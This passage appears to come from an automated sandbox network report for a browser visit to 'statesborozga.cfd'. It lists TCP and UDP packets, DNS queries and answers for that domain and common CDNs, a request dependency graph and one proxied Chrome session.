Apr 18, 2024 00:28:03.708967924 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.708981991 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.709008932 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.709039927 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.709063053 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.709146976 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.709707975 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.709789038 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.709799051 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.709841967 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.709867954 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.709884882 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.710570097 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.710654020 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.710664034 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.710686922 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.710716009 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.710738897 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.711302042 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.711378098 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.711395025 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.711460114 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.712095022 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.712160110 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.712201118 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.712258101 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.713037968 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.713099957 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.713131905 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.713196039 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.714155912 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.760143042 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.810558081 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.810645103 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.810669899 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.810704947 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.810739994 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.810924053 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.811000109 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.811111927 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.811111927 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.811111927 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.811173916 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.811239004 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.811870098 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.811938047 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.812647104 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.812726974 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.812746048 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.812820911 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.812853098 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.812906027 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.812921047 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.813011885 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.813064098 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.813122034 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.813153028 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.813177109 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.813503027 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.858262062 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.858401060 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.858604908 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.858719110 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.858719110 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.858760118 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.858787060 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.911694050 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:03.913717031 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:03.913773060 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:03.915324926 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:03.915404081 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:03.920124054 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.920144081 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.920461893 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.920557976 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.920573950 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.081021070 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.081099987 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.081125975 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.081399918 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.131555080 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.131611109 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.134176016 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.134288073 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.136039019 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.136045933 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.136379957 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.137878895 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.177856922 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.180160999 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.209367990 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.209582090 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.209659100 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.215004921 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.215063095 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.266340971 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.266433001 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.266525030 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.266880989 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.266922951 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.340481043 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.340538025 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.340579987 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.343002081 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.343017101 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.343025923 CEST	49770	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:04.343031883 CEST	443	49770	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:04.485884905 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.486263990 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.486325979 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.487803936 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.488749027 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.489187956 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.489250898 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.536112070 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.537240028 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.725306034 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.725503922 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:04.725579023 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.726346970 CEST	49771	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:04.726389885 CEST	443	49771	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:12.961673975 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:12.961746931 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:12.961853027 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:14.461009026 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:14.461040020 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:19.516196012 CEST	80	49723	69.164.42.0	192.168.2.4
Apr 18, 2024 00:28:19.516412973 CEST	49723	80	192.168.2.4	69.164.42.0
Apr 18, 2024 00:28:19.516413927 CEST	49723	80	192.168.2.4	69.164.42.0
Apr 18, 2024 00:28:19.620573997 CEST	80	49723	69.164.42.0	192.168.2.4
Apr 18, 2024 00:28:33.879473925 CEST	80	49724	69.164.42.0	192.168.2.4
Apr 18, 2024 00:28:33.879570961 CEST	49724	80	192.168.2.4	69.164.42.0
Apr 18, 2024 00:28:33.879606962 CEST	49724	80	192.168.2.4	69.164.42.0
Apr 18, 2024 00:28:33.985282898 CEST	80	49724	69.164.42.0	192.168.2.4
Apr 18, 2024 00:29:02.664902925 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:02.664940119 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.665297985 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:02.665297985 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:02.665332079 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.912775993 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.913079023 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:02.913094044 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.914159060 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.914690971 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:02.914874077 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:02.960664988 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:12.909194946 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:12.909324884 CEST	443	49779	142.250.9.99	192.168.2.4
Apr 18, 2024 00:29:12.909575939 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:14.450103998 CEST	49779	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:29:14.450128078 CEST	443	49779	142.250.9.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 00:27:58.110712051 CEST	53	49814	1.1.1.1	192.168.2.4
Apr 18, 2024 00:27:58.269234896 CEST	53	53151	1.1.1.1	192.168.2.4
Apr 18, 2024 00:27:58.921838045 CEST	53	55349	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:00.217489958 CEST	50713	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:00.217797995 CEST	64464	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:00.362937927 CEST	53	50713	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:00.378855944 CEST	53	64464	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.027038097 CEST	52142	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.027165890 CEST	56924	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.027565002 CEST	58403	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.027699947 CEST	56956	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.028506041 CEST	58942	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.028645039 CEST	60566	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.132242918 CEST	53	49514	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.132278919 CEST	53	56956	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.132313013 CEST	53	52142	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.132528067 CEST	53	64613	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.132656097 CEST	53	58403	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.132814884 CEST	53	60566	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.134310007 CEST	53	56924	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.657505989 CEST	52969	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.658165932 CEST	54314	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.732199907 CEST	53	51223	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.801947117 CEST	53	54314	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.802439928 CEST	53	52969	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:01.926856041 CEST	64750	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.927010059 CEST	57020	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.965646982 CEST	53870	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:01.966192007 CEST	64254	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:02.071978092 CEST	53	53870	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:02.072566032 CEST	53	64254	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:02.617284060 CEST	62500	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:02.617284060 CEST	53951	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:02.722291946 CEST	53	62500	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:02.723314047 CEST	53	53951	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:02.976171970 CEST	53	58167	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:03.304025888 CEST	56924	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:03.304526091 CEST	65241	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:03.577882051 CEST	59505	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:03.578205109 CEST	50108	53	192.168.2.4	1.1.1.1
Apr 18, 2024 00:28:03.682626963 CEST	53	59505	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:03.682768106 CEST	53	50108	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:16.050231934 CEST	53	63606	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:20.631825924 CEST	138	138	192.168.2.4	192.168.2.255
Apr 18, 2024 00:28:35.095455885 CEST	53	59893	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:58.014161110 CEST	53	58240	1.1.1.1	192.168.2.4
Apr 18, 2024 00:28:58.334323883 CEST	53	49678	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 00:28:00.217489958 CEST	192.168.2.4	1.1.1.1	0xc424	Standard query (0)	statesborozga.cfd	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:00.217797995 CEST	192.168.2.4	1.1.1.1	0x6b0f	Standard query (0)	statesborozga.cfd	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.027038097 CEST	192.168.2.4	1.1.1.1	0x37c1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.027165890 CEST	192.168.2.4	1.1.1.1	0x9a46	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.027565002 CEST	192.168.2.4	1.1.1.1	0xeae7	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.027699947 CEST	192.168.2.4	1.1.1.1	0xc7f0	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.028506041 CEST	192.168.2.4	1.1.1.1	0x83af	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.028645039 CEST	192.168.2.4	1.1.1.1	0x92a1	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.657505989 CEST	192.168.2.4	1.1.1.1	0xc533	Standard query (0)	statesborozga.cfd	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.658165932 CEST	192.168.2.4	1.1.1.1	0x98d4	Standard query (0)	statesborozga.cfd	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.926856041 CEST	192.168.2.4	1.1.1.1	0xca6b	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.927010059 CEST	192.168.2.4	1.1.1.1	0xfb04	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:01.965646982 CEST	192.168.2.4	1.1.1.1	0x87d3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.966192007 CEST	192.168.2.4	1.1.1.1	0xb530	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:02.617284060 CEST	192.168.2.4	1.1.1.1	0xe034	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.617284060 CEST	192.168.2.4	1.1.1.1	0x726a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:03.304025888 CEST	192.168.2.4	1.1.1.1	0x1cd2	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:03.304526091 CEST	192.168.2.4	1.1.1.1	0xfcd6	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 18, 2024 00:28:03.577882051 CEST	192.168.2.4	1.1.1.1	0x3541	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:03.578205109 CEST	192.168.2.4	1.1.1.1	0xb127	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 00:28:00.362937927 CEST	1.1.1.1	192.168.2.4	0xc424	No error (0)	statesborozga.cfd		172.67.137.170	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:00.362937927 CEST	1.1.1.1	192.168.2.4	0xc424	No error (0)	statesborozga.cfd		104.21.56.228	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:00.378855944 CEST	1.1.1.1	192.168.2.4	0x6b0f	No error (0)	statesborozga.cfd			65	IN (0x0001)	false
Apr 18, 2024 00:28:01.132278919 CEST	1.1.1.1	192.168.2.4	0xc7f0	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 18, 2024 00:28:01.132313013 CEST	1.1.1.1	192.168.2.4	0x37c1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132313013 CEST	1.1.1.1	192.168.2.4	0x37c1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132313013 CEST	1.1.1.1	192.168.2.4	0x37c1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132313013 CEST	1.1.1.1	192.168.2.4	0x37c1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132656097 CEST	1.1.1.1	192.168.2.4	0xeae7	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132656097 CEST	1.1.1.1	192.168.2.4	0xeae7	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132814884 CEST	1.1.1.1	192.168.2.4	0x92a1	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:01.132848024 CEST	1.1.1.1	192.168.2.4	0x83af	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:01.801947117 CEST	1.1.1.1	192.168.2.4	0x98d4	No error (0)	statesborozga.cfd			65	IN (0x0001)	false
Apr 18, 2024 00:28:01.802439928 CEST	1.1.1.1	192.168.2.4	0xc533	No error (0)	statesborozga.cfd		172.67.137.170	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:01.802439928 CEST	1.1.1.1	192.168.2.4	0xc533	No error (0)	statesborozga.cfd		104.21.56.228	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.033035994 CEST	1.1.1.1	192.168.2.4	0xca6b	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:02.037714958 CEST	1.1.1.1	192.168.2.4	0xfb04	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:02.071978092 CEST	1.1.1.1	192.168.2.4	0x87d3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.071978092 CEST	1.1.1.1	192.168.2.4	0x87d3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.072566032 CEST	1.1.1.1	192.168.2.4	0xb530	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.722291946 CEST	1.1.1.1	192.168.2.4	0xe034	No error (0)	www.google.com		142.250.9.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:02.723314047 CEST	1.1.1.1	192.168.2.4	0x726a	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 00:28:03.410212040 CEST	1.1.1.1	192.168.2.4	0xfcd6	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:03.411322117 CEST	1.1.1.1	192.168.2.4	0x1cd2	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:03.682626963 CEST	1.1.1.1	192.168.2.4	0x3541	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:15.571491003 CEST	1.1.1.1	192.168.2.4	0x8f60	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:15.571491003 CEST	1.1.1.1	192.168.2.4	0x8f60	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:16.627877951 CEST	1.1.1.1	192.168.2.4	0x5918	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:16.627877951 CEST	1.1.1.1	192.168.2.4	0x5918	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:31.115042925 CEST	1.1.1.1	192.168.2.4	0x5338	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:31.115042925 CEST	1.1.1.1	192.168.2.4	0x5338	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:28:50.349903107 CEST	1.1.1.1	192.168.2.4	0x973a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:28:50.349903107 CEST	1.1.1.1	192.168.2.4	0x973a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 00:29:10.752687931 CEST	1.1.1.1	192.168.2.4	0xfdea	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 00:29:10.752687931 CEST	1.1.1.1	192.168.2.4	0xfdea	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

statesborozga.cfd

https:

code.jquery.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

fs.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
